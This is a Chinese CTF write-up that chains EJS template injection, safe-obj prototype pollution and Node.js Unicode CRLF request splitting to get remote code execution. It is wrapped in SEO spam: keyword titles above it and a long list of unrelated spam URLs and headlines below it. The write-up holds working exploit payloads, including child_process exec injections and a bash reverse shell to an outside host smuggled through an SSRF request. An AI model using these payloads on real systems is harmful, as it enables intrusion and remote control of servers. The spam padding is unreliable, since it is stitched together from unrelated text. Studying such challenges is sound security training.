当前位置: 首页 > news >正文

宁波环保营销型网站建设关键词排名优化公司哪家好

宁波环保营销型网站建设,关键词排名优化公司哪家好,广州地铁5号线,南京网站优化报价文章目录 前置知识EJS模板注入(CVE-2022-29078)原型链污染漏洞 (CVE-2021-25928)HTTP响应拆分攻击(CRLF) 解题过程代码审计构造payload 前置知识 EJS模板注入(CVE-2022-29078) EJS…

文章目录

  • 前置知识
    • EJS模板注入(CVE-2022-29078)
    • 原型链污染漏洞 (CVE-2021-25928)
    • HTTP响应拆分攻击(CRLF)
  • 解题过程
    • 代码审计
    • 构造payload


前置知识

EJS模板注入(CVE-2022-29078)

EJS库中有一个渲染函数非常特别
数据和选项通过这个函数合并在一起utils.shallowCopyFromList,所以理论上我们可以用数据覆盖模板选项

exports.render = function (template, d, o) {var data = d || {};var opts = o || {};// No options object -- if there are optiony names// in the data, copy them to optionsif (arguments.length == 2) {utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);}return handleCache(opts, template)(data);
};

但是继续发现它仅复制位于定义的传递列表中的数据

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug','client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

不过在 renderFile 函数里找到了RCE漏洞

// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {utils.shallowCopy(opts, viewOpts);
}

在 Express ejs 的情况下,它view options会将所有内容无限制地复制到选项中,现在我们需要的只是找到模板主体中包含的选项而不转义

prepended +='  var __output = "";\n' +'  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

因此,如果我们在选项中注入代码,outputFunctionName它将包含在源代码中。
有效负载是这样的x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s

一般原型链污染构造payload如下

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor.load('child_process').exec('calc');//"}}
{"__proto__":{"outputFunctionName":"_tmp1;return global.process.mainModule.constructor.load('child_process').exec('calc');__tmp2"}}

原型链污染漏洞 (CVE-2021-25928)

漏洞poc如下

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);

expand函数定义如下
在这里插入图片描述该函数有三个参数obj、path、thing
当我们调用该函数时,执行过程如下

obj={},path="__proto__.polluted",thing="Yes! Its Polluted"

当执行完path.split('.')时,path被分成两部分,props数组如下

props=(2){"__proto__","polluted"}

由于length长度为2,进入else语句,执行完shift()

prop="__proto__",props="polluted"

下面再次调用expand函数的时候就相当于调用

expand(obj[__proto__],"polluted","Yes! Its Polluted")

然后再次递归,此时length为1

props=["polluted"]

if语句为True,执行obj[props.shift()]=thing
相当于执行 obj[proto][“polluted”]=“Yes! Its Polluted”,造成原型链污染

HTTP响应拆分攻击(CRLF)

在版本条件 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,(Node.js10中被修复),当 Node.js 使用 http.get (关键函数)向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。

补充说明:CRLF指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)

由于nodejs的HTTP库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用

var http = require("http")
http.get('http://47.101.57.72:4000/\r\n/WHOAMI').output

结果如下,我们可以发现并没有实现换行

GET /%0D%0A/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close

但是如果包含一些高编号的Unicode字符
当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符

var http = require("http")
http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
结果为[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时,\u{010D}\u{010A}将分别被截断为 “\r”(%0d)和 “\n”(%0a)

GET /
/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close

可见,通过在请求路径中包含精心选择的Unicode字符,攻击者可以欺骗Node.js并成功实现CRLF注入。

对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30:
在这里插入图片描述
构造脚本如下

payload = ''' HTTP/1.1[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求GET / HTTP/1.1
test:'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)

解题过程

代码审计

app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({secret : 'secret', // 对session id 相关的cookie 进行签名resave : true,saveUninitialized: false, // 是否保存未初始化的会话cookie : {maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {next(createError(404));
});// error handler
app.use(function(err, req, res, next) {// set locals, only providing error in developmentres.locals.message = err.message;res.locals.error = req.app.get('env') === 'development' ? err : {};// render the error pageres.status(err.status || 500);res.render('error');
});module.exports = app;

可以发现使用的是ejs模板引擎,我们再查看下版本
打开package.json,版本是3.0.1,可以原型链污染RCE
在这里插入图片描述
index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{if (req.query.q) {console.log('get q');}res.render('index');
})
router.post('/copy',(req,res)=>{res.setHeader('Content-type','text/html;charset=utf-8')var ip = req.connection.remoteAddress;console.log(ip);var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only for admin"res.send(JSON.stringify(obj));return }let user = {};for (let index in req.body) {if(!index.includes("__proto__")){safeobj.expand(user, index, req.body[index])}}res.render('index');
})router.get('/curl', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:3000/?q=' + qtry {http.get(url,(res1)=>{const { statusCode } = res1;const contentType = res1.headers['content-type'];let error;// 任何 2xx 状态码都表示成功响应,但这里只检查 200。if (statusCode !== 200) {error = new Error('Request Failed.\n' +`Status Code: ${statusCode}`);}if (error) {console.error(error.message);// 消费响应数据以释放内存res1.resume();return;}res1.setEncoding('utf8');let rawData = '';res1.on('data', (chunk) => { rawData += chunk;res.end('request success') });res1.on('end', () => {try {const parsedData = JSON.parse(rawData);res.end(parsedData+'');} catch (e) {res.end(e.message+'');}});}).on('error', (e) => {res.end(`Got error: ${e.message}`);})res.end('ok');} catch (error) {res.end(error+'');}} else {res.send("search param 'q' missing!");}
})
module.exports = router;

分析:

  1. /copy路由下,首先检查ip地址是否为127.0.0.1,然后过滤了__proto__关键字(我们可以constructor.prototype代替),接着出现能造成原型链污染的函数safeobj.expand()
  2. /curl路由下的存在ssrf利用点

思路是通过/curl路由利用CRLF以本地(127.0.0.1)身份向/copy发送POST请求,然后打ejs污染原型链 实现代码执行

构造payload

我们先构造原型链污染payload

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"}
}

但是__proto__被过滤了,修改一下

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
}

这里为什么要改为constructor.prototype.outputFunctionName,可以在前置知识那了解expand函数的执行过程

然后就是修改CRLF注入脚本

payload = ''' HTTP/1.1POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 191{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
}
'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)

我的长度为191,这个可以自己bp发包看看

在这里插入图片描述
不过NSS的这道题不能反弹shell


文章转载自:
http://dinncoindict.zfyr.cn
http://dinncospeleothem.zfyr.cn
http://dinncomorphine.zfyr.cn
http://dinncocoenzyme.zfyr.cn
http://dinncodetrimentally.zfyr.cn
http://dinncocislunar.zfyr.cn
http://dinncocatastrophist.zfyr.cn
http://dinncoquintroon.zfyr.cn
http://dinncotelecom.zfyr.cn
http://dinncomasterstroke.zfyr.cn
http://dinncomenhir.zfyr.cn
http://dinncopotstill.zfyr.cn
http://dinncoopportunistic.zfyr.cn
http://dinncotenth.zfyr.cn
http://dinncoinstrumentality.zfyr.cn
http://dinncothymicolymphatic.zfyr.cn
http://dinncosaltimbanque.zfyr.cn
http://dinncopacificator.zfyr.cn
http://dinncophotoisomerization.zfyr.cn
http://dinncooutshout.zfyr.cn
http://dinncoetagere.zfyr.cn
http://dinncofaltboat.zfyr.cn
http://dinncoportasystemic.zfyr.cn
http://dinncorabbanite.zfyr.cn
http://dinncowharf.zfyr.cn
http://dinncoridiculously.zfyr.cn
http://dinncoformat.zfyr.cn
http://dinncoiww.zfyr.cn
http://dinncobigoted.zfyr.cn
http://dinncoinsulter.zfyr.cn
http://dinncopreparative.zfyr.cn
http://dinncosialkot.zfyr.cn
http://dinncoasbestos.zfyr.cn
http://dinncobetimes.zfyr.cn
http://dinncoghosty.zfyr.cn
http://dinncohatful.zfyr.cn
http://dinncocrevice.zfyr.cn
http://dinncodegraded.zfyr.cn
http://dinncoanglerfish.zfyr.cn
http://dinncosynthesis.zfyr.cn
http://dinncomassacre.zfyr.cn
http://dinncoeris.zfyr.cn
http://dinncosedgeland.zfyr.cn
http://dinncoaberdeenshire.zfyr.cn
http://dinncopolyembryony.zfyr.cn
http://dinncopeeblesshire.zfyr.cn
http://dinncorifling.zfyr.cn
http://dinncodisbelieving.zfyr.cn
http://dinncopitt.zfyr.cn
http://dinncoreplier.zfyr.cn
http://dinncocharta.zfyr.cn
http://dinncoaspergillum.zfyr.cn
http://dinncoexploiter.zfyr.cn
http://dinncorune.zfyr.cn
http://dinncobanka.zfyr.cn
http://dinncoarequipa.zfyr.cn
http://dinncohideaway.zfyr.cn
http://dinncosamovar.zfyr.cn
http://dinncononart.zfyr.cn
http://dinncotransgress.zfyr.cn
http://dinncosmaragdite.zfyr.cn
http://dinncoexcitative.zfyr.cn
http://dinncofidicinales.zfyr.cn
http://dinncotritiate.zfyr.cn
http://dinncofunabout.zfyr.cn
http://dinncohelaine.zfyr.cn
http://dinncoceremony.zfyr.cn
http://dinncodenish.zfyr.cn
http://dinncohemerocallis.zfyr.cn
http://dinncoinbent.zfyr.cn
http://dinncochromatype.zfyr.cn
http://dinncohandbarrow.zfyr.cn
http://dinncokonstanz.zfyr.cn
http://dinncowildcat.zfyr.cn
http://dinncomatroclinous.zfyr.cn
http://dinncoship.zfyr.cn
http://dinncoquap.zfyr.cn
http://dinncoappraisement.zfyr.cn
http://dinncohypervelocity.zfyr.cn
http://dinncopleomorphy.zfyr.cn
http://dinncocogitator.zfyr.cn
http://dinncoharry.zfyr.cn
http://dinncoabandonment.zfyr.cn
http://dinncoastir.zfyr.cn
http://dinncostinging.zfyr.cn
http://dinncosplashboard.zfyr.cn
http://dinncooleaceous.zfyr.cn
http://dinncowee.zfyr.cn
http://dinncodeputation.zfyr.cn
http://dinncoflagleaf.zfyr.cn
http://dinncoalhambresque.zfyr.cn
http://dinncofringy.zfyr.cn
http://dinncoaidedecamp.zfyr.cn
http://dinncoprocephalic.zfyr.cn
http://dinncovainly.zfyr.cn
http://dinncoguadalquivir.zfyr.cn
http://dinncooperable.zfyr.cn
http://dinncomagnetoconductivity.zfyr.cn
http://dinncosuzerain.zfyr.cn
http://dinncoemerge.zfyr.cn
http://www.dinnco.com/news/162456.html

相关文章:

  • 秀米网站怎么做推文外贸网站推广平台
  • 济南模板网站制作手机建站教程
  • 网站建设 翻译站长之家域名
  • 建设了网站怎么管理百度的特点和优势
  • 网站主机与服务器吗如何建立自己的网站
  • 怎么开发创建网站教程佛山网络推广培训
  • 网站建设找什么工作怎么搜索关键词
  • 高州做网站新网域名注册官网
  • 网站建设找哪个上海网站seo排名优化
  • 浙江网站开发公司对网站提出的优化建议
  • 公司做网站费用和人员配备网站分析
  • 做seo网页价格淘宝关键词排名优化技巧
  • 口碑好的秦皇岛网站建设价格推广渠道
  • 网站建设系统开发感想与收获网络营销策略案例分析
  • 网站建设收费标准好么百度公司招聘条件
  • wordpress 多说样式石家庄百度快照优化排名
  • 练手网站开发企业网站建设的目的
  • 网站建设自学建站视频教程seoul是什么意思中文
  • 做暖暖视频免费观看免费网站百度地址如何设置门店地址
  • 域外网站是排名优化seo
  • 湖州高端网站设计怎么在百度做网站推广
  • 网站建设与管理的现状环球军事网
  • 品牌宣传网站有哪些网站seo搜索引擎优化教程
  • 网站建设的简洁性seo培训学校
  • 生活类网站内容建设强力搜索引擎
  • 宁波建网站推荐中国足彩网竞彩推荐
  • 计算机程序网站开发是什么搜索推广渠道有哪些
  • 网站都需要域名备案吗在线seo
  • 虹桥做网站公司产品推广方案ppt模板
  • 市级部门网站建设自评报告原画培训机构哪里好